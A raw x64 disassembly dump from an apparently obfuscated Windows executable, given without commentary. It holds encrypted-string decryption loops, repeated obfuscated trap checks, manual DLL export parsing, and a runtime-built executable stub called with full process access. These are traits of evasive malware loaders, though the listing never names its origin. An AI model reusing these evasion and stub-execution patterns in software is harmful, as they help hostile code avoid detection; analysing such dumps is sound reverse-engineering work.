mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cae3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
call fcn.140096850
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140038af8
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002cbad
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cb8d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cb8d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cbad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002cc57
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cc37
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cc37
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cc57
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002cd01
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cce1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cce1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cd01
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002cdab
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cd8b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cd8b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cdab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002ce55
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ce35
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ce35
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ce55
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002cf17
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cef7
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cef7
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cf17
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002cfc1
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cfa1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cfa1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cfc1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140038090
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002d093
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d073
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d073
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d093
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14002d39b
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002d14c
mov rax, qword gs:[0x35]
mov ecx, 0xade9c597
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d45c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d45c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002d45c
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.1400282ac
mov r15d, eax
mov rcx, qword gs:[0x42]
cmp rcx, rsi
jne 0x14002d20b
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14002d47c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14002d47c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14002d47c
test r15d, r15d
jne 0x14002d4dc
mov rax, qword gs:[0x42]
movabs r15, 0x8da1264b19cedc00
cmp rax, rsi
jne 0x14002d2b4
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14002d49c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14002d49c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14002d49c
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002d37b
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14002d4bc
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14002d4bc
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14002d4bc
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14002d0b1
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x140036ff5
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d43c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d43c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036ff5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14009d818
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xffa1bc48
mov dword [rbp + 0x214], 0xede9fdec
mov dword [rbp + 0x218], 0xbd8a9a79
mov word [rbp + 0x21c], 0xfb
mov r8, r14
movabs rbx, 0x8080808080808081
mov esi, 0x787f7b97
mov r10d, reloc.WS2_32.dll_listen
movabs r9, 0x61e7946b8
movabs r11, 0xc3cf28d70
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14002d57a
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xa386649c
mov dword [rbp + 0x84], 0xe3e9b5d9
mov word [rbp + 0x88], WSAStartup
mov r8, r14
mov r10d, 9
movabs r9, 0x43c7b5858
movabs r11, 0x878f6b0b0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14002d618
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002d8a1
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002d8a1
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002d8a1
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002d8a1
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002d8a1
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002d713
inc rax
test edi, edi
jne 0x14002d6fe
test r8d, r8d
je 0x14002d725
inc rdx
cmp rdx, rsi
jb 0x14002d6ed
jmp 0x14002d8a1
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002d8a1
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002d89e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140096850
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140038af8
lea rcx, [rbp + 0x7420]
call fcn.140038090
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140038090
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002d7b3
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400c02d0
mov dword [0x140107ec4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140107ec0]
movsd qword [rdi], xmm0
movzx eax, word [0x140107ec8]
mov word [rdi + 8], ax
mov al, byte [0x140107eca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c0970
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140107ec4], r14d
test edi, edi
js 0x14002d8b4
jmp 0x14002d8a1
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002d8ca
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140027d8c
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x1e4bf515
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x42]
ja 0x140036c72
mov r15d, 0xade9c597
cmp rax, rbx
jne 0x14002d98d
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d96d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d96d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d98d
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f00e0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400f01e0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0xc6e7d7b
mov word [rbp + 0xbc4], 0x1fd
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
lea r10d, [rax + 0x26]
movabs r9, 0x11e2ec5890
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov edi, 0x787f7b97
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x23c5d8b120
cmp r9, rax
jb 0x14002d9e3
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14001087c
mov rax, qword gs:[0x42]
movabs rsi, 0x8da1264b19cedc00
cmp rax, rbx
jne 0x14002db13
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002daf3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002daf3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002db13
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d818
int3
call fcn.140027fec
mov rcx, qword gs:[0x42]
test al, al
jne 0x14002dea1
cmp rcx, rbx
jne 0x14002dbca
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dbaa
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dbaa
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dbca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], Ordinal_79
mov r10, r14
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
movabs r15, 0x8080808080808081
mov r13d, 0x787f7b97
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002dc10
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400f01b0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400eff60]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov r9d, Ordinal_35
movabs r10, 0xe976ff768
movabs r11, 0x1d2edfeed0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, r11
jb 0x14002dcb1
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x42]
cmp rax, rbx
jne 0x14002ddf3
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ddd3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ddd3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ddf3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rbx
jne 0x1400375c9
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002de81
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002de81
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400375c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
cmp rcx, rbx
jne 0x14002df42
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002df22
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002df22
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002df42
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400effd0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
lea r10d, [rax + 0x10]
movabs r9, 0x787f7b980
movabs r11, 0xf0fef7300
mov cl, r8b
and cl, 7
shl cl, 3
mov edi, 0x787f7b97
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14002df7f
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140027ddc
mov rax, qword gs:[0x42]
cmp rax, rbx
jne 0x14002e09b
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e07b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e07b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e09b
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d818
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14002e237
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], Ordinal_79
mov r10, r14
mov ebx, 0x787f7b97
lea r11d, [rax + 0x11]
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002e101
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400f0060]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400f0040]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x9ba5
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
